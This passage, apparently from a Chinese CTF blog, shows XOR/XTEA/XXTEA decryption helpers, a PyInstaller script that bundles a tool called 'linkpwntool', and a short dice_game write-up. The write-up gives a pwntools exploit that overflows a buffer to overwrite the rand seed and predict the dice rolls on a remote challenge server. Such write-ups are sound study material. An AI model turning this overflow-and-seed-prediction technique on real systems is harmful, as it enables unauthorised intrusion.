解密并返回可读格式。

优先尝试将结果解码为 UTF-8 字符串;
如果失败,则返回其十六进制表示。

:param ciphertext: 密文(bytes)
:param key: 解密密钥(字符串或 bytes)
:return: 可读明文(字符串)或错误信息
"""
try:
decrypted_bytes = xor_encrypt_decrypt(ciphertext, key)
try:
return decrypted_bytes.decode('utf-8') # 尝试作为文本返回
except UnicodeDecodeError:
return decrypted_bytes.hex() # 否则返回 hex 字符串
except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 提供别名,方便外部调用 decrypt(data, key)
decrypt = xor_decrypt


# 测试用例(仅当直接运行此模块时执行)
if __name__ == "__main__":
test_key = "mysecretpassword"
original_text = "Hello, world! This is a test."

print("原文:", original_text)

encrypted_data = xor_encrypt_decrypt(original_text, test_key)
print("加密结果 (hex):", encrypted_data.hex())

decrypted_text = xor_decrypt(encrypted_data, test_key)
print("解密结果:", decrypted_text)

xtea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
def decrypt1(ciphertext, key):
"""XTEA解密算法"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是8的倍数
if len(cipher_bytes) % 8 != 0:
padding = 8 - (len(cipher_bytes) % 8)
cipher_bytes += b'\0' * padding

# 分块解密
decrypted = bytearray()
for i in range(0, len(cipher_bytes), 8):
block = cipher_bytes[i:i+8]

# 解包为两个32位整数
v0, v1 = int.from_bytes(block[:4], 'big'), int.from_bytes(block[4:], 'big')
k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]

# XTEA解密过程
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF

for _ in range(32):
v1 = ((v1 - (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum_val + k[(sum_val >> 11) & 3]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
v0 = ((v0 - (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum_val + k[sum_val & 3]))) & 0xFFFFFFFF

# 打包解密结果
decrypted_block = v0.to_bytes(4, 'big') + v1.to_bytes(4, 'big')
decrypted.extend(decrypted_block)

try:
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"

xxtea.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
def decrypt(ciphertext, key):
"""XXTEA解密算法"""
try:
# 确保密钥长度为16字节
key_bytes = key.encode('utf-8')
if len(key_bytes) < 16:
key_bytes = key_bytes.ljust(16, b'\0')
elif len(key_bytes) > 16:
key_bytes = key_bytes[:16]

# 转换密文为字节
if all(c in '0123456789abcdefABCDEF' for c in ciphertext) and len(ciphertext) % 2 == 0:
cipher_bytes = bytes.fromhex(ciphertext)
else:
cipher_bytes = ciphertext.encode('utf-8')

# 确保数据长度是4的倍数
if len(cipher_bytes) % 4 != 0:
padding = 4 - (len(cipher_bytes) % 4)
cipher_bytes += b'\0' * padding

# 解包为32位整数数组
n = len(cipher_bytes) // 4
v = [int.from_bytes(cipher_bytes[i*4:(i+1)*4], 'big') for i in range(n)]
k = [int.from_bytes(key_bytes[i*4:(i+1)*4], 'big') for i in range(4)]

# XXTEA解密过程
delta = 0x9E3779B9
q = 6 + 52 // n
sum_val = delta * q

for _ in range(q):
e = (sum_val >> 2) & 3
for p in range(n-1, 0, -1):
v[p] = (v[p] - (((v[p-1] << 4) ^ (v[p-1] >> 5)) + v[p-1]) ^ (sum_val + k[(p+e) % 4])) & 0xFFFFFFFF
v[0] = (v[0] - (((v[n-1] << 4) ^ (v[n-1] >> 5)) + v[n-1]) ^ (sum_val + k[e])) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF

# 打包解密结果
decrypted = bytearray()
for num in v:
decrypted.extend(num.to_bytes(4, 'big'))

try:
return decrypted.decode('utf-8').rstrip('\0')
except UnicodeDecodeError:
return decrypted.hex()

except Exception as e:
return f"🛑 解密错误: {str(e)}"


# 使用示例
if __name__ == "__main__":
# 示例1: 解密十六进制格式的密文
ciphertext = "0123456789abcdef" # 示例密文(十六进制)
key = "1234567890123456" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

# 示例2: 解密字符串格式的密文
ciphertext = "encrypted_data" # 示例密文(字符串)
key = "mysecretkey1234" # 16字节密钥
plaintext = decrypt(ciphertext, key)
print(f"解密结果: {plaintext}")

package.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import os
import subprocess
import sys
from pathlib import Path

def check_dependencies():
"""检查并安装必要的依赖"""
required = [
'pyinstaller',
'opencv-python',
'pillow'
]

try:
import tkinter
except ImportError:
print("错误: 需要安装 tkinter (通常是 Python 自带)")
sys.exit(1)

for package in required:
try:
__import__(package)
except ImportError:
print(f"正在安装 {package}...")
subprocess.check_call([sys.executable, "-m", "pip", "install", package])

def build_exe():
"""构建 EXE 文件"""
# 获取当前脚本所在目录
base_dir = Path(__file__).parent

# 视频文件路径 (确保视频文件存在)
video_file = "富士山的星空.mp4"
if not (base_dir / video_file).exists():
print(f"错误: 视频文件 {video_file} 不存在!")
sys.exit(1)

# 图标文件路径 (可选)
icon_file = "linkpwn.ico"
icon_param = f"--icon={icon_file}" if (base_dir / icon_file).exists() else ""

# 加密模块列表
crypto_modules = ['xor1', 'rc4', 'tea', 'xtea', 'xxtea']

# 构建 PyInstaller 命令
cmd = [
'pyinstaller',
'--onefile', # 打包成单个文件
'--windowed', # 不显示控制台窗口
'--noconsole', # 同 --windowed
'--clean', # 清理临时文件
'--noconfirm', # 覆盖输出目录不提示
'--name=linkpwntool', # 输出文件名
'--add-data', f'{video_file};.', # 添加视频文件
]

# 添加图标 (如果存在)
if icon_param:
cmd.append(icon_param)

# 添加加密模块
for mod in crypto_modules:
mod_file = f"{mod}.py"
if (base_dir / mod_file).exists():
cmd.extend(['--add-data', f'{mod_file};.'])
else:
print(f"警告: 加密模块 {mod_file} 不存在!")

# 添加主程序
cmd.append('main.py')

# 执行打包命令
try:
print("开始打包...")
subprocess.check_call(cmd)
print("\n打包成功! EXE 文件位于 dist/ 目录")

# 复制视频文件到 dist 目录 (PyInstaller 的 --add-data 有时会失效)
if (base_dir / 'dist').exists():
import shutil
shutil.copy(base_dir / video_file, base_dir / 'dist' / video_file)
print(f"已复制视频文件到 dist 目录")
except subprocess.CalledProcessError as e:
print(f"\n打包失败: {e}")
except Exception as e:
print(f"\n发生错误: {str(e)}")

if __name__ == "__main__":
check_dependencies()
build_exe()

运行

1
python3 package.py  #mp4可自己选择把脚本中的mp4换成你自己mp4的名字;或者你直接把自己的MP4名字换成富士山的星空

运行成功在dist下有个exe,点击运行即可

这里主要记一下seed的覆盖,srand(seed);v2 = rand() % 6 + 1;其中rand的生成是依靠seed的,我们只要找到seed与输入值之间的偏移将seed修改为我们想要的值,就可以预测rand的生成

这是攻防世界dice_game的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
from ctypes import *
p=remote('61.147.171.105','57464')
libc = cdll.LoadLibrary("libc.so.6")
p.recv()
payload=0x40*b"a"+p64(0) #buf与seed的偏移是0x40
p.sendline(payload)

a=[]
for i in range(50):
a.append(libc.rand()%6+1)
print(a)
for i in a:
p.recv()
print(p.recv())
p.sendline(str(i))
p.interactive()